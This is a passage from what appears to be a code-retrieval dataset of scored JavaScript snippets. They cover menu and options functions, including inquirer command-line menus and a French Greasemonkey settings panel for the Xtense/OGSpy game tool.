[\"View Product Sales by Department\", \"Add New Depatment\"]\n\n\n }\n ])\n .then(function (answer) {\n\n switch (answer.supervisorOption) {\n case \"View Product Sales by Department\":\n readProductsSales();\n break;\n\n case \"Add New Depatment\":\n updateDepartments();\n break;\n\n\n }\n })\n}", "title": "" }, { "docid": "01552985a1927981968ade1b5010f4f0", "score": "0.68321365", "text": "function options() {\n\tinquirer.prompt([\n {\n type: 'list',\n name: 'selection',\n message: \"What action would you like to take?\",\n choices: [\"View Products for Sale\", \"View Low Inventory\", \"Add to Inventory\", \"Add New Product\"]\n }\n\t]).then(function (response) {\n \tif (response.selection === 'View Products for Sale') viewProducts();\n \tif (response.selection === 'View Low Inventory') viewLow();\n \tif (response.selection === 'Add to Inventory') addInventory();\n \tif (response.selection === 'Add New Product') addNew();\n\t});\n}", "title": "" }, { "docid": "dae2c188d91b831bb576b818d8787109", "score": "0.68252033", "text": "function showMenu()\n\t{\t\n\t\tsettings.currentMenu.show(\"fast\");\n\t}", "title": "" }, { "docid": "443da6f00e96477fe913fd2d15a52d5f", "score": "0.68086064", "text": "function display_menu_infos() {\n}", "title": "" }, { "docid": "bfc3f3e85a2f279bb135e4bab31eaeb5", "score": "0.67805463", "text": "function showMenu() {\n console.log('1. Create new customer');\n console.log('2. Update customer');\n console.log('3. Delete customer');\n console.log('4. Search customer');\n console.log('5. Show customer');\n console.log('6. Save and exit');\n let option = readlineSync.question('Select your option: ');\n switch (option) {\n case '1':\n showCreateCustomer();\n showMenu();\n break;\n case '2':\n showUpdateCustomer();\n showMenu();\n break;\n case '3':\n deleteCustomer();\n showMenu();\n break;\n case '4':\n searchCustomer();\n showMenu();\n break;\n case '5':\n showCustomers();\n showMenu();\n break;\n case '6':\n saveAndExit();\n break;\n\n default:\n console.log('Wrong option');\n showMenu();\n break;\n }\n}", "title": "" }, { "docid": "5fb4a5135fc4c17c30d5b5fb10cd4642", "score": "0.6763535", "text": "function mainMenu(){\n inquirer.prompt([\n {type: \"list\",\n name: \"menu\",\n message: \"Select a menu option\".yellow.bold,\n choices: [\n \"View Products for Sale\",\n \"View Low Inventory\",\n \"Add To Inventory\",\n \"Add New Product\",\n \"Quit\"\n ]}\n ]).then(function(data){\n if (data.menu == \"View Products for Sale\") {\n showProducts(); \n } else if (data.menu == \"View Low Inventory\") {\n viewLow();\n } else if (data.menu == \"Add To Inventory\") {\n addInventory();\n } else if (data.menu == \"Add New Product\") {\n addProduct();\n } else if (data.menu == \"Quit\") { \n connection.end();\n }\n\n });\n}", "title": "" }, { "docid": "833b103a29aa6e981edce51ac0c3b89b", "score": "0.6760298", "text": "function displayOptions(){\r\n\t// Variables : Serveur\r\n\tvar server_check = ' ';\r\n\t\t\r\n\t// Variables : Pages\r\n\t// Variables recupération des pages\r\n\tvar handle_overview = ' ';\r\n\tvar handle_system = ' ';\r\n\tvar handle_researchs = ' ';\r\n\tvar handle_buildings = ' ';\r\n\tvar handle_station = ' ';\r\n\tvar handle_shipyard = ' ';\r\n\tvar handle_defense = ' ';\r\n\tvar handle_alliance = ' ';\r\n\tvar handle_stats = ' ';\r\n\t\r\n\t// Variables recupération des messages\r\n\tvar handle_msg_msg = ' ';\r\n\tvar handle_msg_ally = ' ';\r\n\tvar handle_msg_spy = ' ';\r\n\tvar handle_msg_ennemy_spy = ' ';\r\n\tvar handle_msg_rc = ' ';\r\n\tvar handle_msg_rc_cdr = ' ';\r\n\tvar handle_msg_expeditions = ' ';\r\n\tvar handle_msg_commerce = ' ';\r\n\t\r\n\t// Variables : Options\r\n\tvar opt_debug_mode = ' ';\r\n\t\r\n\t// Récupération des préférences : Serveur\r\n\tif(GM_getValue(prefix_GMData +'server.check','false').toString() == 'true'){server_check += 'checked';}\r\n\t\r\n\t// Récupération des préférences : Pages\r\n\tif(GM_getValue(prefix_GMData +'handle.overview','false').toString() == 'true'){handle_overview += 'checked';}\r\n \r\n\tif(GM_getValue(prefix_GMData +'handle.buildings','false').toString() == 'true'){handle_buildings += 'checked';}\r\n\tif(GM_getValue(prefix_GMData +'handle.station','false').toString() == 'true'){handle_station += 'checked';}\r\n\tif(GM_getValue(prefix_GMData +'handle.researchs','false').toString() == 'true'){handle_researchs += 'checked';}\r\n\tif(GM_getValue(prefix_GMData +'handle.shipyard','false').toString() == 'true'){handle_shipyard += 'checked';}\r\n\tif(GM_getValue(prefix_GMData +'handle.system','false').toString() == 'true'){handle_system += 'checked';}\r\n\tif(GM_getValue(prefix_GMData +'handle.defense','false').toString() == 'true'){handle_defense += 'checked';}\r\n\tif(GM_getValue(prefix_GMData +'handle.alliance','false').toString() == 'true'){handle_alliance += 'checked';}\r\n\tif(GM_getValue(prefix_GMData +'handle.stats','false').toString() == 'true'){handle_stats += 'checked';}\r\n\t\r\n\tif(GM_getValue(prefix_GMData +'handle.msg.msg','false').toString() == 'true'){handle_msg_msg += 'checked';}\r\n\tif(GM_getValue(prefix_GMData +'handle.msg.ally','false').toString() == 'true'){handle_msg_ally += 'checked';}\r\n\tif(GM_getValue(prefix_GMData +'handle.msg.spy','false').toString() == 'true'){handle_msg_spy += 'checked';}\r\n\tif(GM_getValue(prefix_GMData +'handle.msg.ennemy.spy','false').toString() == 'true') {handle_msg_ennemy_spy += 'checked';}\r\n\tif(GM_getValue(prefix_GMData +'handle.msg.rc','false').toString() == 'true'){handle_msg_rc += 'checked';}\r\n\tif(GM_getValue(prefix_GMData +'handle.msg.rc.cdr','false').toString() == 'true'){handle_msg_rc_cdr += 'checked';}\r\n\tif(GM_getValue(prefix_GMData +'handle.msg.expeditions','false').toString() == 'true'){handle_msg_expeditions += 'checked';}\r\n\tif(GM_getValue(prefix_GMData +'handle.msg.commerce','false').toString() == 'true'){handle_msg_commerce += 'checked';}\r\n\t\r\n\t// Récupération des préférences : Options\r\n if(GM_getValue(prefix_GMData +'debug.mode','false').toString() == 'true'){opt_debug_mode += ' checked';}\r\n\t\r\n\t\t\t\t\t\r\n\tvar options = '<div id=\"Xtense_Div\" style=\"width:675px; color: orange; background-color: black; text-align: center; font-size: 12px; opacity : 0.8;\"><br/><br/>';\r\n\t// Serveur Univers\r\n\toptions+= '<img src=\"http://svn.ogsteam.fr/trunk/xtense_GreaseMonkey/images/xtense.png\" alt=\"Options Xtense\"/>';\r\n\toptions+= '<br/><br/>';\r\n\toptions+= '<table style=\"width:675px;\">' +\r\n\t\t\t '<colgroup><col width=\"25%\"/><col width=\"25%\"/><col width=\"25%\"/><col width=\"25%\"/></colgroup>' +\r\n\t\t\t '<tbody>' +\r\n\t\t\t '<tr>' +\r\n\t\t\t '<td align=\"center\"><a onclick=\"displayOption(\\'Xtense_serveurs\\')\" style=\"cursor:pointer;\"><img src=\"http://svn.ogsteam.fr/trunk/xtense_GreaseMonkey/images/server.png\"/><span id=\"menu_servers\" style=\"font-size: 20px; color: white;\"><b>&#160;Serveur</b></span></a></td>' +\r\n\t\t\t '<td align=\"center\"><a onclick=\"displayOption(\\'Xtense_pages\\')\" style=\"cursor:pointer;\"><img src=\"http://svn.ogsteam.fr/trunk/xtense_GreaseMonkey/images/pages.png\"/><span id=\"menu_pages\" style=\"font-size: 20px; color: orange;\"><b>&#160;Pages</b></span></a></td>' +\r\n\t\t\t '<td align=\"center\"><a onclick=\"displayOption(\\'Xtense_options\\')\" style=\"cursor:pointer;\"><img src=\"http://svn.ogsteam.fr/trunk/xtense_GreaseMonkey/images/conf.png\"/><span id=\"menu_options\" style=\"font-size: 20px; color: orange;\"><b>&#160;Options</b></span></a></td>' +\r\n\t\t\t '<td align=\"center\"><a onclick=\"displayOption(\\'Xtense_about\\')\" style=\"cursor:pointer;\"><img src=\"http://svn.ogsteam.fr/trunk/xtense_GreaseMonkey/images/about.png\"/><span id=\"menu_about\" style=\"font-size: 20px; color: orange;\"><b>&#160;A propos</b></span></a></td>' +\r\n\t\t\t '</tr>' +\r\n\t\t\t '</tbody>' +\r\n\t\t\t '</table>';\r\n\toptions+= '<div id=\"Xtense_serveurs\">';\t\t\r\n\toptions += '<table id=\"Xtense_table_serveurs\" style=\"width:675px; color: orange; background-color: black; text-align: center; font-size: 12px; opacity : 0.8;\">';\r\n\toptions += '<colgroup><col width=\"20%\"/><col/></colgroup>';\r\n\toptions += '<thead><tr><th class=\"Xtense_th\" colspan=\"2\" style=\"font-size: 12px; text-align:center; font-weight: bold; color: #539fc8; line-height: 30px; height: 30px;\"></th></tr></thead>';\r\n\toptions+= '<tbody>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">URL OGSpy</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"server.url.plugin\" value=\"'+GM_getValue(prefix_GMData +'server.url.plugin','http://VOTRESITEPERSO/VOTREDOSSIEROGSPY/mod/xtense/xtense.php')+'\" size=\"35\" alt=\"24\" type=\"text\"/></td>';\r\n\toptions+= '</tr>';\r\n\toptions+= '<tr><td>&#160;</td><td>&#160;</td></tr>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Utilisateur</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"server.user\" value=\"'+GM_getValue(prefix_GMData +'server.user','utilisateur')+'\" size=\"35\" alt=\"24\" type=\"text\"/></td>';\r\n\toptions+= '</tr>';\r\n\toptions+= '<tr><td>&#160;</td><td>&#160;</td></tr>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Mot de passe</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"server.pwd\" value=\"'+GM_getValue(prefix_GMData +'server.pwd','mot de passe')+'\" size=\"35\" alt=\"24\" type=\"password\"/></td>';\r\n\toptions+= '</tr>';\r\n\t/*options+= '<tr>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Initialiser le serveur ?</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"server.check\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ server_check +'/></td>';\r\n\toptions+= '</tr>';*/\r\n\toptions+= '</tbody></table>';\r\n\toptions+= '</div>';\t\t\t\r\n\t/*---------------------------- Pages -----------------------------------------------*/\r\n\toptions+= '<div id=\"Xtense_pages\">';\r\n\toptions+= '<table id=\"Xtense_table_pages\" style=\"width:675px; color: orange; background-color: black; text-align: center; font-size: 12px; opacity : 0.8;\">';\r\n\toptions+= '<colgroup><col width=\"30%\"/><col/><col width=\"30%\"/><col/><col width=\"30%\"/><col/></colgroup>';\r\n\toptions+= '<thead><tr><th class=\"Xtense_th\" colspan=\"3\" style=\"font-size: 12px; text-align:center; font-weight: bold; color: #539fc8; line-height: 30px; height: 30px;\"></th></tr></thead>';\r\n\toptions+= '<tbody>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td style=\"color: white; font-size: 14px; font-weight: bold;text-align:left;\">Envoi des données:</td>';\r\n\toptions+= '</tr>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td colspan=\"6\">&nbsp;</td>';\r\n\toptions+= '</tr>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Vue générale</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.overview\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_overview +'/></td>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Bâtiments</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.buildings\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_buildings +'/></td>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Installations</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.station\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_station +'/></td>';\r\n\toptions+= '</tr>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Recherches</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.researchs\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_researchs +'/></td>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Flotte</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.shipyard\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_shipyard +'/></td>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Défense</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.defense\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_defense +'/></td>';\r\n\toptions+= '</tr>';\t\r\n\toptions+= '<tr>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Systemes solaires</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.system\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_system +'/></td>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Liste des membres de l\\'alliance</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.alliance\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_alliance +'/></td>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Tous classements</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.stats\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_stats +'/></td>';\r\n\toptions+= '</tr>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td colspan=\"6\">&nbsp;</td>';\r\n\toptions+= '</tr>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td colspan=\"6\" style=\"color: white; font-size: 14px; font-weight: bold;text-align:left;\">Envoi des messages:</td>';\r\n\toptions+= '</tr>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td colspan=\"6\">&nbsp;</td>';\r\n\toptions+= '</tr>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Messages de joueurs</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.msg.msg\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_msg_msg +'/></td>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Messages d\\'alliance</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.msg.ally\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_msg_ally +'/></td>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Rapports d\\'espionnage</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.msg.spy\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_msg_spy +'/></td>';\t\r\n\toptions+= '</tr>';\t\r\n\toptions+= '<tr>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Espionnages ennemis</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.msg.ennemy.spy\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_msg_ennemy_spy +'/></td>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Rapports de combat</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.msg.rc\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_msg_rc +'/></td>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Rapports de recyclage</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.msg.rc.cdr\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_msg_rc_cdr +'/></td>';\r\n\toptions+= '</tr>';\t\r\n\toptions+= '<tr>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Expéditions</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.msg.expeditions\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_msg_expeditions +'/></td>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Livraisons de commerce</label></td>';\r\n\toptions+= '<td class=\"value\"><input class=\"speed\" id=\"handle.msg.commerce\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ handle_msg_commerce +'/></td>';\r\n\toptions+= '<td class=\"champ\"></td>';\r\n\toptions+= '<td class=\"value\"></td>';\r\n\toptions+= '</tr>';\r\n\t\r\n\toptions+= '</tbody></table>';\r\n\toptions+= '</div>';\r\n\t/*---------------------------- Options -----------------------------------------------*/\r\n\toptions+= '<div id=\"Xtense_options\">';\r\n\toptions += '<table id=\"Xtense_table_options\" style=\"width:675px; color: orange; background-color: black; text-align: center; font-size: 12px; opacity : 0.8;\">';\r\n\toptions+= '<colgroup><col width=\"30%\"/><col/><col width=\"30%\"/><col/><col width=\"30%\"/><col/></colgroup>';\r\n\toptions += '<thead><tr><th class=\"Xtense_th\" colspan=\"3\" style=\"font-size: 12px; text-align:center; font-weight: bold; color: #539fc8; line-height: 30px; height: 30px;\"></th></tr></thead>';\r\n\toptions+= '<tbody>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td colspan=\"6\">&nbsp;</td>';\r\n\toptions+= '</tr>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td colspan=\"6\" style=\"color: white; font-size: 14px; font-weight: bold;\">Options Diverses</td>';\r\n\toptions+= '</tr>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td colspan=\"6\">&nbsp;</td>';\r\n\toptions+= '</tr>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Mode débogage</label></td>';\r\n\toptions+= '<td class=\"value\" style=\"text-align:left;\"><input class=\"speed\" id=\"debug.mode\" size=\"35\" alt=\"24\" type=\"checkbox\"'+ opt_debug_mode +'/></td>';\r\n\toptions+= '<td class=\"champ\"></td>';\r\n\toptions+= '<td class=\"value\"></td>';\r\n\toptions+= '<td class=\"champ\"></td>';\r\n\toptions+= '<td class=\"value\"></td>';\r\n\toptions+= '</tr>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td class=\"champ\"><label class=\"styled textBeefy\">Mise à Jour Forcée du Script</label></td>';\r\n\toptions+= '<td class=\"value\" colspan=\"5\" style=\"text-align:left;\"><a style=\"cursor:pointer;color:red;\" href=\"http://userscripts.org/scripts/source/112690.user.js\" > Mettre à jour maintenant ! </a></td>';\r\n\toptions+= '<td class=\"champ\"></td>';\r\n\toptions+= '<td class=\"value\"></td>';\r\n\toptions+= '<td class=\"champ\"></td>';\r\n\toptions+= '<td class=\"value\"></td>';\r\n\toptions+= '</tbody></table>';\r\n\toptions+= '</div>';\r\n\t/*---------------------------- A propos -----------------------------------------------*/\r\n\toptions+= '<div id=\"Xtense_about\">';\r\n\toptions += '<table id=\"Xtense_table_about\" style=\"width:675px; color: orange; background-color: black; text-align: center; font-size: 12px; opacity : 0.8;\">';\r\n\toptions += '<colgroup><col width=\"20%\"/><col/></colgroup>';\r\n\toptions += '<thead><tr><th class=\"Xtense_th\" colspan=\"2\" style=\"font-size: 12px; text-align:center; font-weight: bold; color: #539fc8; line-height: 30px; height: 30px;\"></th></tr></thead>';\r\n\toptions+= '<tbody>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td colspan=\"6\">&nbsp;</td>';\r\n\toptions+= '</tr>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td colspan=\"6\" style=\"color: white; font-size: 14px; font-weight: bold;\">A Propos de Xtense ' + VERSION + ':</td>';\r\n\toptions+= '</tr>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td colspan=\"6\">&nbsp;</td>';\r\n\toptions+= '</tr>';\r\n options+= '<td class=\"champ\"><label class=\"styled textBeefy\">Xtense GM par Jedinight et DarkNoon.<br /> Support disponible auprès de <a href=\"http://www.ogsteam.fr\" target=\"_blank\">l\\'OGSteam</a></label></td>';\r\n\toptions+= '<tr>';\r\n\toptions+= '<td colspan=\"6\">&nbsp;</td>';\r\n\toptions+= '</tr>';\r\n options+= '<td class=\"champ\"><label class=\"styled textBeefy\">Xtense GM is an OGSteam Software © 2005-2012</label></td>';\r\n options+= '</tbody></table>';\r\n\toptions+= '</div>';\r\n\toptions+= '<br/><br/></div>'; //fin Tableau\r\n \r\n\tvar einhalt=document.getElementById('inhalt');\r\n\tvar escriptopt=document.createElement('div');\r\n\tescriptopt.id='xtenseScriptOpt';\r\n\tescriptopt.innerHTML=options;\r\n\tescriptopt.style.cssFloat='left';\r\n\tescriptopt.style.position='relative';\r\n\tescriptopt.style.width='670px';\r\n\teinhalt.style.display='none';\r\n\t\r\n\tvar script = document.createElement('script');\r\n\tscript.setAttribute('type','text/javascript');\r\n\tvar newscriptText = document.createTextNode(\"function displayOption(id){if(id=='Xtense_serveurs'){document.getElementById(id).style.display='block';document.getElementById('Xtense_pages').style.display='none';document.getElementById('Xtense_options').style.display='none';document.getElementById('Xtense_about').style.display='none';document.getElementById('menu_servers').style.color='white';document.getElementById('menu_pages').style.color='orange';document.getElementById('menu_options').style.color='orange';document.getElementById('menu_about').style.color='orange';}else if(id=='Xtense_pages'){document.getElementById(id).style.display='block';document.getElementById('Xtense_serveurs').style.display='none';document.getElementById('Xtense_options').style.display='none';document.getElementById('Xtense_about').style.display='none';document.getElementById('menu_servers').style.color='orange';document.getElementById('menu_pages').style.color='white';document.getElementById('menu_options').style.color='orange';document.getElementById('menu_about').style.color='orange';}else if(id=='Xtense_options'){document.getElementById(id).style.display='block';document.getElementById('Xtense_serveurs').style.display='none';document.getElementById('Xtense_pages').style.display='none';document.getElementById('Xtense_about').style.display='none';document.getElementById('menu_servers').style.color='orange';document.getElementById('menu_pages').style.color='orange';document.getElementById('menu_options').style.color='white';document.getElementById('menu_about').style.color='orange';}else if(id=='Xtense_about'){document.getElementById(id).style.display='block';document.getElementById('Xtense_serveurs').style.display='none';document.getElementById('Xtense_pages').style.display='none';document.getElementById('Xtense_options').style.display='none';document.getElementById('menu_servers').style.color='orange';document.getElementById('menu_pages').style.color='orange';document.getElementById('menu_options').style.color='orange';document.getElementById('menu_about').style.color='white';}}\");\r\n\tscript.appendChild(newscriptText);\r\n\tescriptopt.appendChild(script);\r\n\t\r\n\teinhalt.parentNode.insertBefore(escriptopt,einhalt);\r\n\t\t\t\t\r\n\tdocument.getElementById(\"Xtense_serveurs\").style.display=\"block\";\r\n\tdocument.getElementById(\"Xtense_pages\").style.display=\"none\";\r\n\tdocument.getElementById(\"Xtense_options\").style.display=\"none\";\r\n\tdocument.getElementById(\"Xtense_about\").style.display=\"none\";\r\n\r\n\tfunction enregistreOptionsXtense(){\t\t\t\t\r\n\t\t// Sauvegarde des inputs\r\n\t\tvar inputOptions = XPath.getOrderedSnapshotNodes(document, \"//div[@id='Xtense_Div']//input[not(@type='checkbox')]\");\r\n\t\t//log(\"inputOptions.snapshotLength=\"+inputOptions.snapshotLength);\r\n\t\tif(inputOptions.snapshotLength > 0){\t\t\t\t\t\r\n\t\t\tfor(var i=0;i<inputOptions.snapshotLength;i++){\r\n\t\t\t\tvar input = inputOptions.snapshotItem(i);\r\n\t\t\t\tGM_setValue(prefix_GMData + input.id , input.value);\r\n\t\t\t}\r\n\t\t}\r\n\t\t// Sauvegarde des checkbox\r\n\t\tvar checkboxOptions = XPath.getOrderedSnapshotNodes(document, \"//div[@id='Xtense_Div']//input[@type='checkbox']\");\r\n\t\t//log(\"checkboxOptions.snapshotLength=\"+checkboxOptions.snapshotLength);\r\n\t\tif(checkboxOptions.snapshotLength > 0){\r\n\t\t\tfor(var j=0;j<checkboxOptions.snapshotLength;j++){\r\n\t\t\t\tvar checkbox = checkboxOptions.snapshotItem(j);\r\n\t\t\t\t//log('GM_setValue(prefix_GMData +'+checkbox.id+' , '+checkbox.checked+');');\r\n\t\t\t\tGM_setValue(prefix_GMData +checkbox.id , checkbox.checked);\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t}\t\r\n\t}\r\n\tsetInterval(enregistreOptionsXtense, 500);\r\n\r\n\r\n}", "title": "" }, { "docid": "54faa3d2fcf47b39a2afe816c4075594", "score": "0.673982", "text": "displayOptions() {\n switch(displayOptionsCount) {\n case 0:\n shownOption1 = this.add.text(85, 150, eval(\"OPTION_\" + pick1));\n displayOptionsCount++;\n break;\n case 1:\n shownOption2 = this.add.text(335, 150, eval(\"OPTION_\" + pick2));\n displayOptionsCount++;\n break;\n default:\n shownOption3 = this.add.text(585, 150, eval(\"OPTION_\" + pick3));\n displayOptionsCount++;\n break;\n }\n }", "title": "" }, { "docid": "3afb4edb3bf5f7d3f244d9158535bd27", "score": "0.6737906", "text": "function DisplayOptions() {\n //The options style to easily edit\n let options = document.querySelector(\"#controls\").style;\n \n //Test if the options menu is open or not\n if (options.width == '') {\n \n //Close the options menu\n options.padding = \"0px\";\n options.border = \"none\";\n options.width = \"20px\";\n options.height = \"20px\";\n \n //Change the information about the minimize button\n this.style.border = \"1px solid black\";\n this.style.backgroundColor = \"#00aa00\";\n this.onmouseover = function() {this.style.backgroundColor = \"#008000\"}\n this.onmouseout = function() {this.style.backgroundColor = \"#00aa00\"}\n this.innerHTML = '+';\n \n } else {\n \n //Remove the style changes\n options.padding = \"\";\n options.border = \"\";\n options.width = \"\";\n options.height = \"\";\n \n //Change the information about the minimize button\n this.style.border = \"\";\n this.style.backgroundColor = \"\";\n this.onmouseover = function() {this.style.backgroundColor = \"#990000\"}\n this.onmouseout = function() {this.style.backgroundColor = \"#dd0000\"}\n this.innerHTML = '-';\n }\n}", "title": "" }, { "docid": "2dcd951f69415479a3009bbd1379935c", "score": "0.6737895", "text": "function menu() {\n inquirer.prompt({\n name: \"action\",\n type: \"list\",\n message: \"what would you like to do?\",\n choices: [\"View Products For Sale\", \"View Low Inventory\", \"Add to Inventory\", \"Add New Product\"]\n }).then(function(response) {\n switch (response.action) {\n case \"View Products For Sale\":\n displayAllProducts();\n break;\n case \"View Low Inventory\":\n lowInventory();\n break;\n case \"Add to Inventory\":\n addToInventory();\n break;\n case \"Add New Product\":\n addNewProduct();\n break;\n }\n });\n}", "title": "" }, { "docid": "117bc4263fe4486d0aaa203d2d290b88", "score": "0.67337704", "text": "function showMenuOK({title = \"Untitled\", width = 200, height = 100, items = []}) {\r\n\t // title, items - taken from options,\r\n\t // width, height - defaults used\r\n\t console.log( `${title} ${width} ${height}` ); // My Menu 200 100\r\n\t console.log( items ); // Item1, Item2\r\n\t}", "title": "" }, { "docid": "bba58a3312c6615c86a369220236d6d4", "score": "0.67333496", "text": "function mainMenu(choice) {\r\n switch (choice) {\r\n case \"View Product Sales by Department\":\r\n displaySalesByDepartment();\r\n break;\r\n\r\n case \"Create New Department\":\r\n promptCreateNewDepartment();\r\n break;\r\n\r\n case \"Exit Store\":\r\n default:\r\n exitStore(\"Thank you. Have a profitable day!\");\r\n break;\r\n }\r\n}", "title": "" }, { "docid": "22c661f751b15b4777f996879ed52a03", "score": "0.6706626", "text": "function onOpen() {\n FormApp.getUi().createMenu('TSDynamicUrls')\n .addItem('🕜 Enable Form', 'enableForm')\n .addItem('👓 About', 'showAbout')\n .addToUi();\n}", "title": "" }, { "docid": "6c77fb541e659242f4f5b3ad6d2e6e95", "score": "0.66807747", "text": "function ExperimentalMenu() {}", "title": "" }, { "docid": "e81cababc417c3932da6e3e094b8aaaa", "score": "0.6674255", "text": "function menu (){\n inquirer.prompt([\n {\n type: \"list\",\n name: \"selection\",\n message: \"What do you want to do?\",\n choices: [\n {value: 1, name: \"Add department\"},\n {value: 2, name: \"Add employee\"},\n {value: 3, name: \"Add role\"},\n {value: 4, name: \"View departments\"},\n {value: 5, name: \"View employees\"},\n {value: 6, name: \"View roles\"},\n {value: 7, name: \"Update employee\"},\n {value: 8, name: \"Exit\"}\n ]\n }])\n .then(function(answer) {\n switch (answer.selection) {\n case 1: addDepaMenu(); break;\n case 2: addEmpMenu(); break;\n case 3: addRolesMenu(); break;\n case 4: viewDepaMenu(); break;\n case 5: viewEmpMenu(); break;\n case 6: viewRolesMenu(); break;\n case 7: updateEmpMenu(); break;\n case 8: exit(); break;\n }\n });\n}", "title": "" }, { "docid": "b23717e47f6157543eabf3f35cbcfef2", "score": "0.6631232", "text": "function showMenu(menu) {\n if (display) {\n display.clear();\n var text = '';\n\n var p = menu.getParentSelect();\n text += p ? '[' + p.label + ']\\n' : '';\n var c = menu.getCurrentSelect();\n menu.getActiveMenu().forEach(function (m) {\n text += (m.selected ? '>' : ' ') + m.label + '\\n';\n });\n\n // console.log(text);\n display.write(text);\n }\n}", "title": "" }, { "docid": "9895b7e3262054d8c2c654c5493cd872", "score": "0.66171", "text": "selectMenuOption(option){}", "title": "" }, { "docid": "0c0a4ba8b8c2cfe6a8fef21c28a621c9", "score": "0.66169757", "text": "function menu() {\n\tinquirer\n\t\t.prompt([\n\t\t\t{\n\t\t\t\ttype: 'list',\n\t\t\t\tname: 'menu',\n\t\t\t\tmessage: 'What would you like to do next?',\n\t\t\t\tchoices: [\n\t\t\t\t\t'Add an engineer',\n\t\t\t\t\t'Add an intern',\n\t\t\t\t\t'All done - generate my team profile',\n\t\t\t\t],\n\t\t\t},\n\t\t])\n\t\t.then((response) => {\n\t\t\tswitch (response.menu) {\n\t\t\t\tcase 'Add an engineer':\n\t\t\t\t\tcreateEngineer();\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'Add an intern':\n\t\t\t\t\tcreateIntern();\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'All done - generate my team 